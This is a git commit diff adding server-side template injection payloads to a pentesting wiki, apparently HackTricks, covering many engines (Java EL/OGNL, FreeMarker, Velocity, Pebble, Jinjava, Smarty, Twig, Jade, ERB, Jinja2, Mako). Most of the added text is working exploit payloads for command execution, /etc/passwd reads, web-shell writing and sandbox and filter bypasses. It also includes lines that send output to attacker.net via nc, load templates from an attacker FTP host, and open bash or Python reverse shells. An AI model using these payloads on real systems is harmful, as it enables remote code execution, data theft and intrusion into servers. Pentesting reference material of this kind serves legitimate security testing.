GitBook: [master] 2 pages modified
This commit is contained in:
CPol
gitbook-bot
parent
5362d309b7
commit
6375713549
|
|
@ -93,20 +93,74 @@ Developer-supplied objects are particularly likely to contain sensitive informat
|
|||
|
||||
At this point you should have a **firm idea of the attack surface available** to you and be able to proceed with traditional security audit techniques, reviewing each function for exploitable vulnerabilities. It's important to approach this in the context of the wider application - some functions can be used to exploit application-specific features. The examples to follow will use template injection to trigger arbitrary object creation, arbitrary file read/write, remote file include, information disclosure and privilege escalation vulnerabilities.
|
||||
|
||||
## Tools
|
||||
|
||||
### [Tplmap](https://github.com/epinna/tplmap)
|
||||
|
||||
```python
|
||||
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
|
||||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
|
||||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
|
||||
```
|
||||
|
||||
## Exploits
|
||||
|
||||
### Java
|
||||
|
||||
#### Java - Basic injection
|
||||
|
||||
```java
|
||||
${7*7}
|
||||
${{7*7}}
|
||||
${class.getClassLoader()}
|
||||
${class.getResource("").getPath()}
|
||||
${class.getResource("../../../../../index.htm").getContent()}
|
||||
```
|
||||
|
||||
#### Java - Retrieve the system’s environment variables
|
||||
|
||||
```java
|
||||
${T(java.lang.System).getenv()}
|
||||
```
|
||||
|
||||
#### Java - Retrieve /etc/passwd
|
||||
|
||||
```java
|
||||
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
|
||||
|
||||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||||
```
|
||||
|
||||
### FreeMarker \(Java\)
|
||||
|
||||
You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org/)
|
||||
|
||||
* `{{7*7}} = {{7*7}}`
|
||||
* `${7*7} = 49`
|
||||
* `#{7*7} = 49 -- (legacy)`
|
||||
* `${7*'7'} Nothing`
|
||||
* `${foobar}`
|
||||
|
||||
```text
|
||||
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }
|
||||
```java
|
||||
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
|
||||
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
|
||||
${"freemarker.template.utility.Execute"?new()("id")}
|
||||
|
||||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||||
```
|
||||
|
||||
#### Freemarker - Sandbox bypass
|
||||
|
||||
⚠️ only works on Freemarker versions below 2.3.30
|
||||
|
||||
```java
|
||||
<#assign classloader=article.class.protectionDomain.classLoader>
|
||||
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
|
||||
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
|
||||
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
|
||||
${dwf.newInstance(ec,null)("id")}
|
||||
```
|
||||
|
||||
#### More information
|
||||
|
||||
* In FreeMarker section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
|
|
@ -114,6 +168,17 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()
|
|||
|
||||
### Velocity \(Java\)
|
||||
|
||||
```java
|
||||
#set($str=$class.inspect("java.lang.String").type)
|
||||
#set($chr=$class.inspect("java.lang.Character").type)
|
||||
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
|
||||
$ex.waitFor()
|
||||
#set($out=$ex.getInputStream())
|
||||
#foreach($i in [1..$out.available()])
|
||||
$str.valueOf($chr.toChars($out.read()))
|
||||
#end
|
||||
```
|
||||
|
||||
#### More information
|
||||
|
||||
* In Velocity section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
|
|
@ -132,7 +197,7 @@ Chances that the above detection payload would work are, however, very low. SSTI
|
|||
|
||||
If we take a deeper look into the documentation of the Thymeleaf template engine, we will find an interesting feature called _**expression preprocessing**_. Expressions placed between double underscores \(`__...__`\) are preprocessed and the result of the preprocessing is used as part of the expression during regular processing. Here is an official example from Thymeleaf documentation:
|
||||
|
||||
```text
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
|
||||
|
|
@ -151,11 +216,68 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
|||
|
||||
### Spring View Manipulation \(Java\)
|
||||
|
||||
* `__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x`
|
||||
* `__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x`
|
||||
```java
|
||||
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
|
||||
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
||||
```
|
||||
|
||||
[https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation)
|
||||
|
||||
### Pebble \(Java\)
|
||||
|
||||
* `{{ someString.toUPPERCASE() }}`
|
||||
|
||||
Old version of Pebble \( < version 3.0.9\):
|
||||
|
||||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
|
||||
New version of Pebble :
|
||||
|
||||
```java
|
||||
{% set cmd = 'id' %}
|
||||
{% set bytes = (1).TYPE
|
||||
.forName('java.lang.Runtime')
|
||||
.methods[6]
|
||||
.invoke(null,null)
|
||||
.exec(cmd)
|
||||
.inputStream
|
||||
.readAllBytes() %}
|
||||
{{ (1).TYPE
|
||||
.forName('java.lang.String')
|
||||
.constructors[0]
|
||||
.newInstance(([bytes]).toArray()) }}
|
||||
```
|
||||
|
||||
### Jinjava \(Java\)
|
||||
|
||||
```java
|
||||
{{'a'.toUpperCase()}} would result in 'A'
|
||||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||||
```
|
||||
|
||||
Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
|
||||
|
||||
#### Jinjava - Command execution
|
||||
|
||||
Fixed by [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
|
||||
|
||||
```java
|
||||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
||||
|
||||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
|
||||
|
||||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||||
|
||||
|
||||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||||
```
|
||||
|
||||
#### More information
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md\#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava)
|
||||
|
||||
### Expression Language - EL \(Java\)
|
||||
|
||||
EL provides an important mechanism for enabling the presentation layer \(web pages\) to communicate with the application logic \(managed beans\). The EL is used by **several JavaEE technologies**, such as JavaServer Faces technology, JavaServer Pages \(JSP\) technology, and Contexts and Dependency Injection for Java EE \(CDI\).
|
||||
|
|
@ -163,9 +285,15 @@ Check the following page to learn more about the **exploitation of EL interprete
|
|||
|
||||
{% page-ref page="el-expression-language.md" %}
|
||||
|
||||
### marty \(PHP\)
|
||||
### Smarty \(PHP\)
|
||||
|
||||
* ``{php} echo `id`;{/php}``
|
||||
```php
|
||||
{$smarty.version}
|
||||
{php}echo `id`;{/php} //deprecated in smarty v3
|
||||
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
|
||||
{system('ls')} // compatible v3
|
||||
{system('cat index.php')} // compatible v3
|
||||
```
|
||||
|
||||
#### More information
|
||||
|
||||
|
|
@ -179,9 +307,39 @@ Check the following page to learn more about the **exploitation of EL interprete
|
|||
* `{{7*'7'}} = 49`
|
||||
* `{{1/0}} = Error`
|
||||
* `{{foobar}} Nothing`
|
||||
* `{{_self}} (Ref. to current application)`
|
||||
* `{{_self.env}}`
|
||||
* `{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}`
|
||||
|
||||
```python
|
||||
#Get Info
|
||||
{{_self}} #(Ref. to current application)
|
||||
{{_self.env}}
|
||||
{{dump(app)}}
|
||||
{{app.request.server.all|join(',')}}
|
||||
|
||||
#File read
|
||||
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
|
||||
|
||||
#Exec code
|
||||
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
|
||||
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
|
||||
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
|
||||
{{['id']|filter('system')}}
|
||||
{{['cat\x20/etc/passwd']|filter('system')}}
|
||||
{{['cat$IFS/etc/passwd']|filter('system')}}
|
||||
```
|
||||
|
||||
#### Twig - Template format
|
||||
|
||||
```php
|
||||
$output = $twig > render (
|
||||
'Dear' . $_GET['custom_greeting'],
|
||||
array("first_name" => $user.first_name)
|
||||
);
|
||||
|
||||
$output = $twig > render (
|
||||
"Dear {first_name}",
|
||||
array("first_name" => $user.first_name)
|
||||
);
|
||||
```
|
||||
|
||||
#### More information
|
||||
|
||||
|
|
@ -190,6 +348,17 @@ Check the following page to learn more about the **exploitation of EL interprete
|
|||
|
||||
### Jade \(NodeJS\)
|
||||
|
||||
```javascript
|
||||
- var x = root.process
|
||||
- x = x.mainModule.require
|
||||
- x = x('child_process')
|
||||
= x.exec('id | nc attacker.net 80')
|
||||
```
|
||||
|
||||
```javascript
|
||||
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
|
||||
```
|
||||
|
||||
#### More information
|
||||
|
||||
* In Jade section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
|
|
@ -207,8 +376,8 @@ curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":
|
|||
* ${7\*7} = ${7\*7}
|
||||
* Nothing
|
||||
|
||||
```text
|
||||
wrtz{{#with "s" as |string|}}
|
||||
```java
|
||||
{{#with "s" as |string|}}
|
||||
{{#with "e"}}
|
||||
{{#with split as |conslist|}}
|
||||
{{this.pop}}
|
||||
|
|
@ -249,7 +418,7 @@ wrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%
|
|||
|
||||
#### Client Side
|
||||
|
||||
```text
|
||||
```python
|
||||
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
|
||||
```
|
||||
|
||||
|
|
@ -270,7 +439,7 @@ wrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%
|
|||
|
||||
#### Example server side render
|
||||
|
||||
```text
|
||||
```javascript
|
||||
var pugjs = require('pug');
|
||||
home = pugjs.render(injected_page)
|
||||
```
|
||||
|
|
@ -286,10 +455,28 @@ home = pugjs.render(injected_page)
|
|||
* `<%= 7*7 %> = 49`
|
||||
* `<%= foobar %> = Error`
|
||||
|
||||
```python
|
||||
<%= system("whoami") %> #Execute code
|
||||
<%= Dir.entries('/') %> #List folder
|
||||
<%= File.open('/etc/passwd').read %> #Read file
|
||||
|
||||
<%= system('cat /etc/passwd') %>
|
||||
<%= `ls /` %>
|
||||
<%= IO.popen('ls /').readlines() %>
|
||||
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
|
||||
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
|
||||
```
|
||||
|
||||
#### More information
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection\#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||||
|
||||
### Slim \(Ruby\)
|
||||
|
||||
* `{ 7 * 7 }`
|
||||
|
||||
```text
|
||||
<%= system("whoami") %>
|
||||
<%= Dir.entries('/') %>
|
||||
<%= File.open('/example/arbitrary-file').read %>
|
||||
{ %x|env| }
|
||||
```
|
||||
|
||||
#### More information
|
||||
|
|
@ -303,24 +490,172 @@ home = pugjs.render(injected_page)
|
|||
* `{{foobar}} = Error`
|
||||
* `{{7*'7'}} = 7777777`
|
||||
|
||||
```text
|
||||
```python
|
||||
{% import foobar %} = Error
|
||||
{% import os %}{{os.system('whoami')}}
|
||||
```
|
||||
|
||||
#### More information
|
||||
|
||||
### Django Tricks \(Python\)
|
||||
### Jinja2 \(Python\)
|
||||
|
||||
Django is going to be using as template engine **Jinja2**.
|
||||
[Official website](http://jinja.pocoo.org/)
|
||||
|
||||
> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
|
||||
|
||||
* `{{7*7}} = Error`
|
||||
* `${7*7} = ${7*7}`
|
||||
* `{{foobar}} Nothing`
|
||||
* `{{4*4}}[[5*5]]`
|
||||
* `{{7*'7'}} = 7777777`
|
||||
* `{{config}}`
|
||||
* `{{config.items()}}`
|
||||
* `{{settings.SECRET_KEY}}`
|
||||
* `{{settings}}`
|
||||
* `{% debug %}`
|
||||
|
||||
```text
|
||||
```python
|
||||
{% debug %}
|
||||
{{settings.SECRET_KEY}}
|
||||
{{4*4}}[[5*5]]
|
||||
{{7*'7'}} would result in 7777777
|
||||
```
|
||||
|
||||
#### Jinja2 - Template format
|
||||
|
||||
```python
|
||||
{% extends "layout.html" %}
|
||||
{% block body %}
|
||||
<ul>
|
||||
{% for user in users %}
|
||||
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
{% endblock %}
|
||||
```
|
||||
|
||||
#### Jinja2 - Debug Statement
|
||||
|
||||
If the Debug Extension is enabled, a `{% debug %}` tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger.
|
||||
|
||||
```python
|
||||
<pre>{% debug %}</pre>
|
||||
```
|
||||
|
||||
Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/\#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
|
||||
|
||||
#### Jinja2 - Dump all used classes
|
||||
|
||||
```python
|
||||
{{ [].class.base.subclasses() }}
|
||||
{{''.class.mro()[1].subclasses()}}
|
||||
{{ ''.__class__.__mro__[2].__subclasses__() }}
|
||||
```
|
||||
|
||||
#### Jinja2 - Dump all config variables
|
||||
|
||||
```python
|
||||
{% for key, value in config.iteritems() %}
|
||||
<dt>{{ key|e }}</dt>
|
||||
<dd>{{ value|e }}</dd>
|
||||
{% endfor %}
|
||||
```
|
||||
|
||||
#### Jinja2 - Read remote file
|
||||
|
||||
```python
|
||||
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
|
||||
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
|
||||
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
|
||||
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
|
||||
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
|
||||
```
|
||||
|
||||
#### Jinja2 - Write into remote file
|
||||
|
||||
```python
|
||||
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
||||
```
|
||||
|
||||
#### Jinja2 - Remote Code Execution
|
||||
|
||||
Listen for connection
|
||||
|
||||
```text
|
||||
nc -lnvp 8000
|
||||
```
|
||||
|
||||
**Exploit the SSTI by calling subprocess.Popen.**
|
||||
|
||||
⚠️ the number 396 will vary depending of the application.
|
||||
|
||||
```python
|
||||
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
||||
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
|
||||
```
|
||||
|
||||
**Exploit the SSTI by calling Popen without guessing the offset**
|
||||
|
||||
```python
|
||||
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
|
||||
```
|
||||
|
||||
Simply modification of payload to clean up output and facilitate command input \([https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)\) In another GET parameter include a variable named "input" that contains the command you want to run \(For example: &input=ls\)
|
||||
|
||||
```python
|
||||
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
|
||||
```
|
||||
|
||||
**Exploit the SSTI by writing an evil config file.**
|
||||
|
||||
```python
|
||||
# evil config
|
||||
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
||||
|
||||
# load the evil config
|
||||
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
|
||||
|
||||
# connect to evil host
|
||||
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
|
||||
```
|
||||
|
||||
#### Jinja2 - Filter bypass
|
||||
|
||||
```python
|
||||
request.__class__
|
||||
request["__class__"]
|
||||
```
|
||||
|
||||
Bypassing `_`
|
||||
|
||||
```python
|
||||
http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
|
||||
|
||||
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
|
||||
{{request|attr(["_"*2,"class","_"*2]|join)}}
|
||||
{{request|attr(["__","class","__"]|join)}}
|
||||
{{request|attr("__class__")}}
|
||||
{{request.__class__}}
|
||||
```
|
||||
|
||||
Bypassing `[` and `]`
|
||||
|
||||
```python
|
||||
http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
|
||||
or
|
||||
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
|
||||
```
|
||||
|
||||
Bypassing `|join`
|
||||
|
||||
```python
|
||||
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
|
||||
```
|
||||
|
||||
Bypassing most common filters \('.','\_','\|join','\[','\]','mro' and 'base'\) by [https://twitter.com/SecGus](https://twitter.com/SecGus):
|
||||
|
||||
```python
|
||||
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr(
|
||||
```
|
||||
|
||||
#### More information
|
||||
|
|
@ -330,7 +665,7 @@ Django is going to be using as template engine **Jinja2**.
|
|||
|
||||
### Mako \(Python\)
|
||||
|
||||
```text
|
||||
```python
|
||||
<%
|
||||
import os
|
||||
x=os.popen('id').read()
|
||||
|
|
@ -349,10 +684,6 @@ ${x}
|
|||
|
||||
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-%28SSTI%29-in-ASP.NET-Razor/)
|
||||
|
||||
### More Exploits
|
||||
|
||||
Check the rest of [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) for more exploits. Also you can find interesting tags information in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
||||
### Mojolicious \(Perl\)
|
||||
|
||||
Even if it's perl it uses tags like ERB in Ruby.
|
||||
|
|
@ -375,6 +706,10 @@ For example if an object has the method `System` to execute a command or the met
|
|||
|
||||
More information in the original research [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
|
||||
|
||||
### More Exploits
|
||||
|
||||
Check the rest of [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) for more exploits. Also you can find interesting tags information in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
||||
## BlackHat PDF
|
||||
|
||||
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
|
||||
|
|
|
|||
|
|
@ -121,7 +121,7 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
|
|||
|
||||
### RCE
|
||||
|
||||
* Basic RCE explanation
|
||||
* Basic RCE **explanation**
|
||||
|
||||
```bash
|
||||
#Check the method getRuntime is there
|
||||
|
|
@ -133,18 +133,48 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
|
|||
[Process[pid=10892, exitValue=0]]
|
||||
```
|
||||
|
||||
* RCE linux
|
||||
* RCE **linux**
|
||||
|
||||
```bash
|
||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
|
||||
```
|
||||
|
||||
* RCE Windows \(not tested\)
|
||||
* RCE **Windows** \(not tested\)
|
||||
|
||||
```bash
|
||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
|
||||
```
|
||||
|
||||
* **More RCE**
|
||||
|
||||
```java
|
||||
// Common RCE payloads
|
||||
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
|
||||
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
|
||||
|
||||
// Method using Runtime
|
||||
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
|
||||
#{session.getAttribute("rtc").setAccessible(true)}
|
||||
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
|
||||
|
||||
// Method using processbuilder
|
||||
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
|
||||
${request.getAttribute("c").add("cmd.exe")}
|
||||
${request.getAttribute("c").add("/k")}
|
||||
${request.getAttribute("c").add("ping x.x.x.x")}
|
||||
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
|
||||
${request.getAttribute("a")}
|
||||
|
||||
// Method using Reflection & Invoke
|
||||
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
|
||||
|
||||
// Method using ScriptEngineManager one-liner
|
||||
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
|
||||
|
||||
// Method using ScriptEngineManager
|
||||
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newI
|
||||
```
|
||||
|
||||
### Inspecting the environment
|
||||
|
||||
* `applicationScope` - global application variables
|
||||
|
|
@ -176,4 +206,5 @@ ${employee.FirstName}
|
|||
## References
|
||||
|
||||
* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md\#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
|
||||
|
||||
|
|
|
|||
Loading…
Reference in New Issue